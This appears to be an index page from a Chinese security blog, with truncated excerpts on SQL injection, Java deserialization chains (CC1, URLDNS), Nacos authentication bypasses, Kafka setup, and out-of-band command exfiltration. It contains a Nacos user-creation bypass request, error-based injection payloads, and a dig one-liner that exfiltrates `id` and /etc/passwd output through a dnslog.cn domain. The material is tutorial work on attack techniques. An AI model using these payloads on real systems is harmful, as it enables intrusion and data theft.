cfe8bc06d84b05197f0bb92ed99dd2e8f3cfc2adecb247a825b8c6fab03394142e43b235ffa4c937ec36eed503b5ddae68d40b8bcbe0033361741cfdb1be09d1cbcb854b92aa9eb84085e9d0530d27c0cedbfb13c91fa7c5cbc8b937c584cac57b6815373060f24597fe7acabc66bed7f8a8519ad7d4efa84736986cee81eb778ee9dda45dc8a8196766ee2728dbb22a997172254c86fcd82c496c1ac421813722b7d1b9099ddd5efa537fcb9e459703f24e4c4abd38da37f92d1ed4e2c8e6f1f8604faef1f60489462b0c7a11fe6932f623ee26e46c5f396739c57f90d64fa03521f78c8fdf1d31ab403775e6d52c7938f5b8428992e7fcc ...
1.简介
该项目主要通过修改SQLMAP源代码对SQLMAP文件读入的request进行解密,和对注入payload后发包时的请求进行加密,以此来对存在请求加密的WEB网站进行SQL注入扫描的目的
项目地址:https://github.com/takakie/SQLMAPENC
2.代码结构
主要是修改了三处代码
第一处 请求参数的解密
原代码,代码路径 lib/core/option.py
1234567for target in parseRequestFile(requestFile): url = target[0] if url not in seen: kb.targets.add(target) if len(kb.targets) > 1: conf.multipleTargets = True seen.add(url)
更改后代码
123456789101112from plugins.requestende.requesthandler imp ...
1.简介
该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
pom.xml导入commons-collections依赖
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>
2.代码分析2.1.执行类分析
在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTransformer。
首先我们需要分析一下为什么该来可以用来作为执行类。
在该类中存在一个可传入任意对象执行反射调用方法transform,改方法可传入一个Ob ...
1.简介
在URLDNS这条链中主要是利用HashMap对象反序列化时会调用HashMap对象中Key值对象的hashCode方法,而当我们传入HashMap中Key值是一个URL对象时,则会调用URL对象的hashCode方法,执行该方法时会触发URLStreamHandler对象调用其自身的hashCode方法,其hashCode方法又会调用其自身getHostAddress方法,来解析域名,导致触发DNS解析。
由于该链非常通用,都是JDK自身自带的类,又由于该利用链危害性低,因此该利用链通常用于验证是否存在反序列漏洞。
2.代码分析2.1.入口类HashMap分析
由于HashMap参数的灵活性可以传入两个对象,因此在多数利用链中都会用到该类。
我们知道在JAVA反序列化对象时会自动调用该类的readObject方法,而在HashMap的readObject方法调用了HashMap中的hash方法,而hash方法中又恰好调用了我们可控参数中的key对象的hashcode方法,因此我们可以利用该入口类来实现反序列化漏洞。
HashMap.java
从图中我们可以看到,只要 ...
1.概念
2.新建项目
新建空项目
然后新建模块Spingboot
添加依赖
如果发现不能构建maven,可手动添加
3.编辑配置文件
application.yml
123456789101112131415spring: application: # 应用名称 name: spring-boot-01-kafka-base # kafka连接地址 ip+port kafka: bootstrap-servers: 192.168.100.129:9092 # 配置生产者(共24个) # producer: # 配置消费者(共24个) # consumer:
4.发送消息1234567891011121314151617package com.gaomu.producer;import jakarta.annotation.Resource;import org.springframework.kafka.core.KafkaTemplate;import org.springframework.stere ...
网络安全
未读Nacos
环境搭建
https://github.com/alibaba/nacos
启动路径 nacos/nacos-2.3.2/bin
启动命令
1$ ./startup.sh -m standalone
默认端口号 8888
1.默认口令
访问http://ip:8848/nacos/#/login进入登陆页面
默认口令为nacos/nacos
2.浏览器代理身份绕过(nacos<1.4.1)
将User-Agent: 更改为 Nacos-Server 即可绕过身份认证
以下为用户查询接口
添加用户接口
POST /nacos/v1/auth/users?username=takake&password=123456 HTTP/1.1
3.JWT伪造身份绕过(0.1.0<=nacos<=2.2.0)3.1.原理
nacos通过jwt进行身份认证,由于配置文件中存在默认jwt签名密钥,由于开发者安全意 ...
1.nacos安装配置
在github官网下载:https://github.com/alibaba/nacos
将文件包解压
在bin中使用startup文件进行启动,需要java8+环境
默认以集群方式启动,单机启动命令:
1$ ./startup.sh -m standalone
配置授权token
123456nacos.core.auth.enabled=truenacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789nacos.core.auth.server.identity.key=adminnacos.core.auth.server.identity.value=admin123nacos.console.ui.enabled=true
2.nacos集成springboot
直接获取nacos中值
1234567891011121314151617 <parent& ...
1.kafka下载和安装
下载地址
https://kafka.apache.org/downloads
直接下载.tgz 解压即安装完成
1$ tar -xvf kafka_2.13-3.7.1.tgz
2.启动运行2.1.通过zookeeper启动
通过zookeeper 启动 kafka
1234567891011121314# 先启动zookeeper 先进入目录下得bin目录$ ./zookeeper-server-start.sh ../config/zookeeper.properties &# 关闭zookeeper $ ./zookeeper-server-stop.sh ../config/zookeeper.properties# 启动kafka$ ./kafka-server-start.sh ../config/server.properties &# 关闭kafka$ ./kafka-server-stop.sh ../config/server.properties# 可以使用命令查看端口是否开启$ netstat -nlpt
...
网络安全
未读1.通用查询1.1.函数
concat(arg1,arg2,arg3); arg可拼接字符串或者查询语句或列名
group_concat(arg); 用于将当列中的所有数据拼接成一组返回
concat_ws(str1,arg1,arg2,arg3);使用str1将参数中的三个数据进行拼接
substr(str,argint1,argint2);表示字符串截取, argint1表示截取开始索引,argint2,表示截取长度,索引从1开始
mid,substr的完美替代品
123select mid((select database()),1,1);select mid((select database()) from 1 for 1);
ascii(arg), 用于字符返回的ascii码,返回数字,常用于二分法。可使用ord替代
extractvalue(1,concat(0x7e,(arg),0x7e));arg为查询参数,最长有效字符为32位
updatexml(1,concat(0x7e,(arg),0x7e),1);和上面同理
exp(arg); exp报错函数
slee ...
1.简介
在很多时候我们拿到一个RCE漏洞时可能存在没有回显的利用链,那么在这时,就需要我们通过出网,将我们执行命令的结果外带出来,以此来观察执行命令的结果。
其中我们主要是通过输入“$(cmd)”可以将执行命令的结果以请求参数的形式外带出来。
2.外网dnslog获取dnslog https://dnslog.cn/
1234567891011121314151617181920$ dig $(echo -n $(id) | base64 | head -c 63).g8mpq4.dnslog.cn# 命令解读, dig 解析域名 ,$() 调用返回结果作为参数调用,id 需要命令执行字符串,BASE64 将$(id)执行的结果进行BASE64编码,便于传输,head -c 63 只输出前0-63个字符,如果不足则全部输出# 如果说只需要取其中一段命令结果$ echo -n $(cat /etc/passwd) | base64 | head -c 127 | cut -c 64-# 这样就可以取到64到127的BASE64的字符串了,cut -c 64- 表示从第64个字符开始到 ...